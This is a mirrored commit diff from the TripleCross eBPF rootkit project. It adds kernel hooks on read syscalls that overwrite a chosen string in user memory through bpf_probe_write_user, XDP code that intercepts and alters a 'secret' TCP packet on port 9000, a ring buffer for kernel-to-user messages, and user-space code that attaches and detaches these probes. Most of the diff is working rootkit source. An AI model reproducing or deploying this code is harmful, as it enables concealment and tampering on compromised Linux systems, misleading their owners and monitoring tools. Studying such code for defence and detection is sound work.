mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 15:23:07 +08:00
Merge pull request #18 from h3xduck/output_modifier
Basic user memory manipulation + Control over rootkit modules and probes + Basic communication system
This commit is contained in:
24
.vscode/settings.json
vendored
Normal file
24
.vscode/settings.json
vendored
Normal file
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"files.associations": {
|
||||
"time.h": "c",
|
||||
"constants.h": "c",
|
||||
"pkt_cls.h": "c",
|
||||
"map_common.h": "c",
|
||||
"regex.h": "c",
|
||||
"unistd.h": "c",
|
||||
"kit.h": "c",
|
||||
"module_manager.h": "c",
|
||||
"modules.h": "c",
|
||||
"libbpf.h": "c",
|
||||
"bpf_tracing.h": "c",
|
||||
"ptrace.h": "c",
|
||||
"stat.h": "c",
|
||||
"udp.h": "c",
|
||||
"tcp.h": "c",
|
||||
"if_link.h": "c",
|
||||
"netlink.h": "c",
|
||||
"bpf_helper_defs.h": "c",
|
||||
"bpf.h": "c",
|
||||
"stddef.h": "c"
|
||||
}
|
||||
}
|
||||
@@ -3,7 +3,7 @@
|
||||
```bash
|
||||
cd src
|
||||
make
|
||||
sudo ./bin/xdp_filter -t <network interface>
|
||||
sudo ./bin/kit -t <network interface>
|
||||
```
|
||||
Network interface used for PoC: lo
|
||||
|
||||
@@ -22,3 +22,10 @@ echo -n "XDP_PoC_0" | nc 127.0.0.1 9000
|
||||
cd src/client
|
||||
sudo ./injector -S 127.0.0.1
|
||||
```
|
||||
|
||||
------------------
|
||||
## PoC 1 - Modifying arguments of read syscalls
|
||||
```bash
|
||||
echo "This won't be seen" > /tmp/txt.txt
|
||||
cat /tmp/txt.txt
|
||||
```
|
||||
|
||||
0
apps/.gitkeep
Normal file
0
apps/.gitkeep
Normal file
BIN
src/.output/kit.bpf.o
Normal file
BIN
src/.output/kit.bpf.o
Normal file
Binary file not shown.
BIN
src/.output/kit.o
Normal file
BIN
src/.output/kit.o
Normal file
Binary file not shown.
1490
src/.output/kit.skel.h
Normal file
1490
src/.output/kit.skel.h
Normal file
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
35
src/Makefile
35
src/Makefile
@@ -5,19 +5,23 @@ LLVM_STRIP ?= llvm-strip
|
||||
BPFTOOL ?= $(abspath ./tools/bpftool)
|
||||
LIBBPF_SRC := $(abspath ./libbpf/src)
|
||||
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
|
||||
VMLINUX := ./vmlinux/newvmlinux.h
|
||||
USER_INCLUDES_DIR := $(abspath ./user/include/)
|
||||
USER_INCLUDES_HDR := $(wildcard $(USER_INCLUDES_DIR)/**/*.h)
|
||||
USER_INCLUDES_SRC := $(wildcard $(USER_INCLUDES_DIR)/**/*.c)
|
||||
USER_INCLUDES_OBJ := $(USER_INCLUDES_SRC:.c=.o)
|
||||
VMLINUX := ./vmlinux/headervmlinux.h
|
||||
USER := user
|
||||
EBPF := ebpf
|
||||
COMMON_INCLUDES := -I$(abspath ./include)
|
||||
COMMON_INCLUDES := -I$(abspath ./ebpf/include) -I$(abspath ./user/include)
|
||||
# Use our own libbpf API headers and Linux UAPI headers distributed with
|
||||
# libbpf to avoid dependency on system-wide headers, which could be missing or
|
||||
# outdated
|
||||
#INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
|
||||
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-40-generic/build #-I$(dir $(VMLINUX))
|
||||
CFLAGS := -g -Wall #-I/lib/modules/5.11.0-40-generic/build/include
|
||||
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
|
||||
#INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-41-generic/build/include -I/lib/modules/$$(uname -r)/build/include/uapi -I/lib/modules/$$(uname -r)/build/include/generated/uapi -I/lib/modules/$$(uname -r)/build/arch/x86/include -I/lib/modules/$$(uname -r)/build/arch/x86/include/generated #-I$(dir $(VMLINUX))
|
||||
CFLAGS := -g -Wall
|
||||
ARCH := $(shell uname -m | sed 's/x86_64/x86/')
|
||||
|
||||
APPS = xdp_filter
|
||||
APPS = kit
|
||||
|
||||
# Get Clang's default includes on this system. We'll explicitly add these dirs
|
||||
# to the includes list when compiling with `-target bpf` because otherwise some
|
||||
@@ -51,6 +55,7 @@ clean:
|
||||
$(Q)rm -rf $(OUTPUT) user/$(APPS)
|
||||
$(Q)rm -rf $(OUTPUT) ebpf/$(APPS)
|
||||
$(Q)rm -rf $(OUTPUT) bin/*
|
||||
$(Q)rm -f $(USER_INCLUDES_OBJ)
|
||||
|
||||
$(OUTPUT) $(OUTPUT)/libbpf:
|
||||
$(call msg,MKDIR,$@)
|
||||
@@ -67,7 +72,7 @@ $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPU
|
||||
# Build BPF code
|
||||
$(OUTPUT)/%.bpf.o: $(EBPF)/%.bpf.c $(LIBBPF_OBJ) $(wildcard $(EBPF)/%.h) | $(OUTPUT)
|
||||
$(call msg,BPF,$@)
|
||||
$(Q)$(CLANG) -g -O2 -fno-builtin -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
|
||||
$(Q)$(CLANG) -g -O2 -fno-builtin -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
|
||||
$(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info
|
||||
|
||||
# Generate BPF skeletons
|
||||
@@ -76,16 +81,24 @@ $(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT)
|
||||
$(Q)$(BPFTOOL) gen skeleton $< > $@
|
||||
|
||||
# Build user-space code
|
||||
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
|
||||
$(patsubst %,$(OUTPUT)/%.o, $(APPS)): %.o: %.skel.h
|
||||
|
||||
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/%.h) | $(OUTPUT)
|
||||
|
||||
#User includes and modules
|
||||
$(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(USER_INCLUDES_SRC) -o $@
|
||||
|
||||
#User code
|
||||
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
|
||||
|
||||
# Build application binary
|
||||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
|
||||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
|
||||
$(call msg,BINARY,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $^ -lelf -lz -o bin/$@
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@
|
||||
$(Q)rm $(USER_INCLUDES_OBJ)
|
||||
|
||||
# delete failed targets
|
||||
.DELETE_ON_ERROR:
|
||||
|
||||
BIN
src/bin/kit
Executable file
BIN
src/bin/kit
Executable file
Binary file not shown.
Binary file not shown.
@@ -9,7 +9,7 @@
|
||||
#include <netdb.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "../constants/constants.h"
|
||||
#include "../common/constants.h"
|
||||
|
||||
// For printing with colors
|
||||
#define KGRN "\x1B[32m"
|
||||
|
||||
@@ -1,8 +1,13 @@
|
||||
#ifndef __CONSTANTS_H
|
||||
#define __CONSTANTS_H
|
||||
|
||||
//XDP
|
||||
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
|
||||
#define SECRET_PACKET_DEST_PORT 9000
|
||||
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
||||
|
||||
//FS
|
||||
#define STRING_FS_HIDE "This won't be seen"
|
||||
#define STRING_FS_OVERWRITE "That is now hidden"
|
||||
|
||||
#endif
|
||||
23
src/common/map_common.h
Normal file
23
src/common/map_common.h
Normal file
@@ -0,0 +1,23 @@
|
||||
#ifndef __MAP_COMMON_H
|
||||
#define __MAP_COMMON_H
|
||||
|
||||
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||
|
||||
|
||||
// Ring buffer for kernel->user communication
|
||||
typedef enum {
|
||||
INFO,
|
||||
DEBUG,
|
||||
EXIT,
|
||||
ERROR
|
||||
} event_type_t;
|
||||
|
||||
struct rb_event {
|
||||
int pid;
|
||||
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||
int code;
|
||||
event_type_t event_type;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
137
src/ebpf/include/bpf/fs.h
Normal file
137
src/ebpf/include/bpf/fs.h
Normal file
@@ -0,0 +1,137 @@
|
||||
#ifndef __FS_H
|
||||
#define __FS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
/*#include <stdio.h>
|
||||
#include <linux/types.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <linux/ptrace.h>
|
||||
#include <linux/stat.h>*/
|
||||
#include <ctype.h>
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
#include "map_defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
/**
|
||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
|
||||
*/
|
||||
struct sys_read_exit_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
long ret;
|
||||
};
|
||||
|
||||
/**
|
||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
|
||||
*/
|
||||
struct sys_read_enter_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
unsigned long fd;
|
||||
char* buf;
|
||||
size_t count;
|
||||
};
|
||||
|
||||
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct fs_open_data data = {
|
||||
.buf = buf,
|
||||
.fd = fd,
|
||||
.pid = pid
|
||||
};
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Receives read event and stores the parameters into internal map
|
||||
*
|
||||
*/
|
||||
SEC("tracepoint/syscalls/sys_enter_read")
|
||||
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
|
||||
struct sys_read_enter_ctx *rctx = ctx;
|
||||
if (ctx == NULL){
|
||||
bpf_printk("Error\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int fd = (int) ctx->fd;
|
||||
char *buf = (char*) ctx->buf;
|
||||
return handle_sys_read(ctx, fd, buf);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Called AFTER the ksys_read call, checks the internal
|
||||
* map for the tgid+pid used and extracts the parameters.
|
||||
* Uses the user-space buffer reference for overwritting the returned
|
||||
* values.
|
||||
*
|
||||
*/
|
||||
SEC("tracepoint/syscalls/sys_exit_read")
|
||||
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
|
||||
|
||||
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||
if (data == NULL || data->buf == NULL){
|
||||
//Not found
|
||||
//bpf_printk("Not found\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Overwritting a byte of the buffer
|
||||
char *buf = data->buf;
|
||||
__u32 pid = data->pid;
|
||||
char msg_original[] = STRING_FS_HIDE;
|
||||
char msg_overwrite[] = STRING_FS_OVERWRITE;
|
||||
char c_buf[sizeof(msg_overwrite)] = {0};
|
||||
|
||||
if(buf == NULL){
|
||||
return -1;
|
||||
}
|
||||
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(msg_original)-1; ii++){
|
||||
if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){
|
||||
//bpf_printk("Error reading\n");
|
||||
return -1;
|
||||
}
|
||||
char c = (char)*(c_buf+ii);
|
||||
|
||||
if( c != msg_original[ii]){
|
||||
//Not the string we are looking for
|
||||
//if(ii>0)bpf_printk("Discarded string, expected %i and received %i, %s\n", c, msg_original[ii], buf);
|
||||
return -1;
|
||||
}
|
||||
if(c<32 || c>126){ //Not alphanumeric or symbol
|
||||
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
|
||||
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
|
||||
bpf_printk("Error writing to user memory\n");
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
20
src/ebpf/include/bpf/map_defs.h
Normal file
20
src/ebpf/include/bpf/map_defs.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//File system
|
||||
struct fs_open_data{
|
||||
char* buf;
|
||||
int fd;
|
||||
__u32 pid;
|
||||
};
|
||||
|
||||
struct fs_open{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024*sizeof(struct fs_open_data));
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
#endif
|
||||
48
src/ebpf/include/bpf/sched.h
Normal file
48
src/ebpf/include/bpf/sched.h
Normal file
@@ -0,0 +1,48 @@
|
||||
#ifndef __SCHED_H
|
||||
#define __SCHED_H
|
||||
|
||||
#/*include <stdio.h>
|
||||
#include <linux/types.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <linux/bpf.h>*/
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
|
||||
//BPF map
|
||||
/*struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 8192);
|
||||
__type(key, pid_t);
|
||||
__type(value, char[5]);
|
||||
} exec_start SEC(".maps");*/
|
||||
|
||||
|
||||
/**
|
||||
* @brief A kthread is started in the kernel (a new program)
|
||||
* @ref https://elixir.bootlin.com/linux/latest/source/include/trace/events/sched.h#L397
|
||||
*/
|
||||
SEC("tp/sched/sched_process_exec")
|
||||
int handle_sched_process_exec(struct trace_event_raw_sched_process_exec *ctx){
|
||||
pid_t pid = bpf_get_current_pid_tgid() >> 32;
|
||||
char message[] = "PROCESS ACTIVATED";
|
||||
|
||||
//Just deactivated for now, but working
|
||||
/*if(ring_buffer_send(&rb_comm, pid, INFO, 0, message, sizeof(message))<0){
|
||||
bpf_printk("ERROR printing in RB_COMM at fs module");
|
||||
}*/
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
48
src/ebpf/include/data/ring_buffer.h
Normal file
48
src/ebpf/include/data/ring_buffer.h
Normal file
@@ -0,0 +1,48 @@
|
||||
#ifndef __RING_BUFFER_H
|
||||
#define __RING_BUFFER_H
|
||||
|
||||
/*#include <linux/bpf.h>
|
||||
#include <bpf/bpf_helpers.h>*/
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/map_common.h"
|
||||
|
||||
#define RING_BUFFER_MAX_ELEMS 256
|
||||
|
||||
/**
|
||||
* @brief Ring buffer for general communication kernel->userspace
|
||||
*
|
||||
*/
|
||||
struct ring_buffer {
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, RING_BUFFER_MAX_ELEMS * 1024); //Multiple struct rb_event(s) must fit here
|
||||
};
|
||||
struct ring_buffer rb_comm SEC(".maps");
|
||||
|
||||
/**
|
||||
* @brief Sends an event into the specified ring kernel buffer
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, event_type_t event_type, int code, char* message, __u32 message_len){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->code = code;
|
||||
event->event_type = event_type;
|
||||
event->pid = pid;
|
||||
bpf_probe_read_kernel_str(&event->message, message_len, message);
|
||||
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -1,9 +1,10 @@
|
||||
#ifndef __PACKET_MANAGER_H__
|
||||
#define __PACKET_MANAGER_H__
|
||||
#include <linux/bpf.h>
|
||||
/*#include <linux/bpf.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if.h>
|
||||
#include <linux/limits.h>
|
||||
#include <linux/limits.h>*/
|
||||
#include "headervmlinux.h"
|
||||
|
||||
/* BOUND CHECKING*/
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
#ifndef __IP_HELPER_H__
|
||||
#define __IP_HELPER_H__
|
||||
|
||||
#include <linux/ip.h>
|
||||
/*#include <linux/ip.h>
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/bpf.h>*/
|
||||
#include <bpf/bpf_endian.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include "headervmlinux.h"
|
||||
|
||||
/**
|
||||
* IP checksum calculation.
|
||||
@@ -22,7 +23,7 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
|
||||
nbytes -= 2;
|
||||
}
|
||||
if(nbytes>0){
|
||||
sum +=htons((unsigned char)*addr);
|
||||
sum +=bpf_htons((unsigned char)*addr);
|
||||
}
|
||||
|
||||
while (sum>>16){
|
||||
@@ -1,16 +1,16 @@
|
||||
#ifndef __TCP_HELPER_H__
|
||||
#define __TCP_HELPER_H__
|
||||
|
||||
#include <linux/tcp.h>
|
||||
#include <linux/ip.h>
|
||||
|
||||
/*#include <linux/tcp.h>
|
||||
#include <linux/ip.h>*/
|
||||
#include "headervmlinux.h"
|
||||
|
||||
static __always_inline int get_tcp_src_port(struct tcphdr *tcp){
|
||||
return ntohs(tcp->source);
|
||||
return bpf_ntohs(tcp->source);
|
||||
}
|
||||
|
||||
static __always_inline int get_tcp_dest_port(struct tcphdr *tcp){
|
||||
return ntohs(tcp->dest);
|
||||
return bpf_ntohs(tcp->dest);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -27,7 +27,7 @@ static __always_inline unsigned short tcp_checksum(unsigned short *addr, int nby
|
||||
nbytes -= 2;
|
||||
}
|
||||
if(nbytes>0){
|
||||
sum += htons((unsigned char)*addr);
|
||||
sum += bpf_htons((unsigned char)*addr);
|
||||
}
|
||||
|
||||
while (sum>>16){
|
||||
@@ -1,19 +1,20 @@
|
||||
#ifndef __COMMON_UTILS_H__
|
||||
#define __COMMON_UTILS_H__
|
||||
#ifndef __UTILS_STRINGS_H__
|
||||
#define __UTILS_STRINGS_H__
|
||||
|
||||
/**
|
||||
* Compares two strings.
|
||||
* Yes, we cannot use strcmp from ebpf.
|
||||
* https://github.com/iovisor/bcc/issues/691
|
||||
*
|
||||
* Misteriouslly we can from xdp_filter, but it might not work somewhere else.
|
||||
* However it is the verifier which does not let us call strncmp without
|
||||
* Misteriouslly it works sometimes due to compiler optimizations, but it might not work somewhere else.
|
||||
* It is the verifier which does not let us call strncmp without
|
||||
* additional checks so we will use this one anyway.
|
||||
*
|
||||
* @param str1
|
||||
* @param str1len //Just to please the ebpf verifier
|
||||
* @param str2
|
||||
* @param str2len //Just to please the ebpf verifier
|
||||
* @param size Number of bytes to check
|
||||
* @return 0 if equal, -1 if false
|
||||
*/
|
||||
static __always_inline int str_n_compare(char* str1, int str1len, char* str2, int str2len, int size){
|
||||
@@ -57,6 +58,11 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
||||
return dest;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Checks if string is a
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
#ifndef __XDP_HELPER_H__
|
||||
#define __XDP_HELPER_H__
|
||||
|
||||
#include <linux/types.h>
|
||||
//#include <linux/types.h>
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
|
||||
@@ -84,7 +85,7 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
||||
|
||||
//We modify the fields we care about of the headers
|
||||
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
||||
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes);
|
||||
ret.ip->tot_len = bpf_htons(bpf_ntohs(ret.ip->tot_len) + more_bytes);
|
||||
__u32 csum = 0;
|
||||
ret.ip->check = 0;
|
||||
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);
|
||||
@@ -1,5 +1,5 @@
|
||||
//#include "newvmlinux.h"
|
||||
#include <unistd.h>
|
||||
//Linux system includes
|
||||
/*#include <unistd.h>
|
||||
#include <stdbool.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <linux/udp.h>
|
||||
@@ -13,37 +13,32 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/udp.h>*/
|
||||
|
||||
#include <linux/bpf.h>
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//BPF & libbpf dependencies
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
#include <bpf/bpf_endian.h>
|
||||
|
||||
#include "../user/xdp_filter.h"
|
||||
#include "../constants/constants.h"
|
||||
//User-kernel dependencies
|
||||
#include "../common/constants.h"
|
||||
|
||||
//BPF exclusive includes
|
||||
#include "packet/packet_manager.h"
|
||||
#include "packet/protocol/tcp_helper.h"
|
||||
#include "xdp/xdp_helper.h"
|
||||
#include "common/common_utils.h"
|
||||
#include "utils/strings.h"
|
||||
|
||||
//BPF modules to load
|
||||
#include "include/bpf/sched.h"
|
||||
#include "include/bpf/fs.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
|
||||
//BPF map
|
||||
/*struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 8192);
|
||||
__type(key, pid_t);
|
||||
__type(value, char[5]);
|
||||
} exec_start SEC(".maps");*/
|
||||
|
||||
//Ring buffer
|
||||
/*struct {
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, 256 * 1024);
|
||||
} rb SEC(".maps");*/
|
||||
#define ETH_ALEN 6
|
||||
|
||||
//Ethernet frame struct
|
||||
struct eth_hdr {
|
||||
@@ -54,8 +49,7 @@ struct eth_hdr {
|
||||
|
||||
|
||||
SEC("xdp_prog")
|
||||
int xdp_receive(struct xdp_md *ctx)
|
||||
{
|
||||
int xdp_receive(struct xdp_md *ctx){
|
||||
//bpf_printk("BPF triggered\n");
|
||||
|
||||
void *data_end = (void *)(long)ctx->data_end;
|
||||
@@ -81,7 +75,7 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
}
|
||||
|
||||
if (get_protocol(data) != IPPROTO_TCP){
|
||||
bpf_printk("C");
|
||||
//bpf_printk("C");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
@@ -92,11 +86,11 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
}
|
||||
|
||||
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
|
||||
bpf_printk("E %i\n", ntohs(tcp->dest));
|
||||
bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
// We use "size - 1" to account for the final '\0', but depending on the program use
|
||||
@@ -151,7 +145,7 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
|
||||
@@ -6,7 +6,7 @@
|
||||
#include <time.h>
|
||||
#include <sys/resource.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "bootstrap.h"
|
||||
#include "include/bootstrap.h"
|
||||
#include "bootstrap.skel.h"
|
||||
|
||||
static struct env {
|
||||
|
||||
15
src/user/include/modules/common.h
Normal file
15
src/user/include/modules/common.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#ifndef __MODULE_COMMON_H
|
||||
#define __MODULE_COMMON_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
|
||||
int detach_link_generic(struct bpf_link *link){
|
||||
int ret = bpf_link__destroy(link);
|
||||
if(ret!=0){
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
46
src/user/include/modules/fs.h
Normal file
46
src/user/include/modules/fs.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#ifndef __MOD_FS_H
|
||||
#define __MOD_FS_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "common.h"
|
||||
#include "kit.skel.h"
|
||||
|
||||
//Connections
|
||||
int attach_kprobe_ksys_read(struct kit_bpf *skel){
|
||||
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
|
||||
return libbpf_get_error(skel->links.kprobe_ksys_read);
|
||||
}
|
||||
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
|
||||
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
|
||||
return libbpf_get_error(skel->links.kretprobe_vfs_read);
|
||||
}
|
||||
|
||||
int attach_fs_all(struct kit_bpf *skel){
|
||||
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
|
||||
}
|
||||
|
||||
|
||||
int detach_kprobe_ksys_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.kprobe_ksys_read);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_fs_all(struct kit_bpf *skel){
|
||||
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
67
src/user/include/modules/module_manager.c
Normal file
67
src/user/include/modules/module_manager.c
Normal file
@@ -0,0 +1,67 @@
|
||||
#include "module_manager.h"
|
||||
#include "xdp.h"
|
||||
#include "sched.h"
|
||||
#include "fs.h"
|
||||
|
||||
module_config_t module_config = {
|
||||
.xdp_module = {
|
||||
.all = ON,
|
||||
.xdp_receive = OFF
|
||||
},
|
||||
.sched_module = {
|
||||
.all = ON,
|
||||
.handle_sched_process_exec = OFF
|
||||
},
|
||||
.fs_module = {
|
||||
.all = ON,
|
||||
.kprobe_ksys_read = OFF,
|
||||
.kretprobe_vfs_read = OFF
|
||||
}
|
||||
|
||||
};
|
